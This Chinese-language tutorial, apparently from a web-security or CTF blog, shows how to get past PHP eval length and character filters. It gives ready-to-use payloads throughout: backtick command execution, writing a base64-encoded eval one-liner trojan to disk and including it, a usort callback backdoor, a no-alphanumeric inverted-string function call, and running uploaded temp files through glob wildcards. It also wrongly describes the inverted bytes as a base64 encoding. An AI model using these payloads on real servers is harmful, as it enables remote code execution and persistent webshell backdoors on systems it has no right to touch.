目录
EVAL长度限制突破技巧
分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。
由于Linux下的反引号可以执行命令,所以使用echo `$_GET[1]`;
把代码执行转换成命令执行
1.使用反引号
param=echo `$_GET[1]`;&1=id
效果:
有人就要问,不是说是限制到了17位一下吗。
因为后面的1=id不是前面param的值,所以写多长都没关系,$_GET[1]是获取通过传递的名为 1
的参数值。
2.file_put_contents写入文件
将一句话木马进行base64编码后追加写入文件
web.php?1=file_put_contents¶m=$_GET[1](N,P,8);
web.php?1=file_put_contents¶m=$_GET[1](N,D,8);
...
web.php?1=file_put_contents¶m=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数
N:写入文件名
P:一句话木马的base64的编码
8:代表追加
未执行命令前的
执行后
因为像<等特殊符号,不能直接写入<,所以必须base64编码
3.php5.6+变长参数+usort回调后门
usort(...$_GET);
js中的可变长参数用...表示
?1[]=test&1[]=phpinfo();&2=assert
使用burpsuite抓包
修改GET为POST,加上usort(...$_GET);
使用的php版本最好为5.6,否则
右键->Send to Repeater
命令长度限制突破技巧
这段代码和上边一样,只是把参数长度变成不能超过8位,那么就不能使用`$_GET[1]`;了
只能执行简单的命令了
1.拼接文件名
因为Linux下可以使用>a来创建文件
用ls -t来以创建时间来列出当前目录下所有文件
将这条经过base64编码的一句话木马echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php就可以用上述方法写入webshell
无字母数字的webshell命令执行
这段代码将webshell长度不超过35位,除此之外还不允许包含字母数字,还不能包含$和_
这样就不能用上面的方法了。那怎么办
1.取反码
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式.
所以很简单了,因为不能出现字母所以就先构造一个可以生成phpinfo
这个字符串的PHP表达式取反即可。如:(~%8F%97%8F%96%91%99%90)();
%8F%97%8F%96%91%99%90 --这个是phpinfo的base64编码
~ --取反
code=(~%8F%97%8F%96%91%99%90)();
这样就可以执行
2.上传临时文件
因为在php5版本中并不支持这种表达方式,所以我们就可以用php上传文件机制
先将本地的文件上传到服务器的临时目录 /tmp
然后在没有被删除的情况下执行起来
难点:1.匹配不到这个临时文件,因为这个文件名是随机生成的,全是英文和数字,但是代码又限制了这个。
2.没有执行权限
解决方法:1.经过多次尝试发现,上传的临时文件最后一个字母会出现大写字母。因为Linux是支持ascii,所以查看ascii发现大写字母的范围在 @-[ 之间,glob通配符 ? 匹配任意一个字符,* 匹配任意多个字符。
成功匹配到文件
2.在Linux下可以用 . [file]来执行文件
这样两个问题就都解决了
接下来就是用burpsuite抓包
先抓demo.html和web.php包
两个包repeater
如下所示,将demo.html包中的内容复制到web.php中
将GET改为POST是要接受下面的请求体
传递get参数,通过查找eval的官方文档,首先要闭合,然后再写php代码
?code=?><?=`.+/???/????????[@-[]`; ?>
成功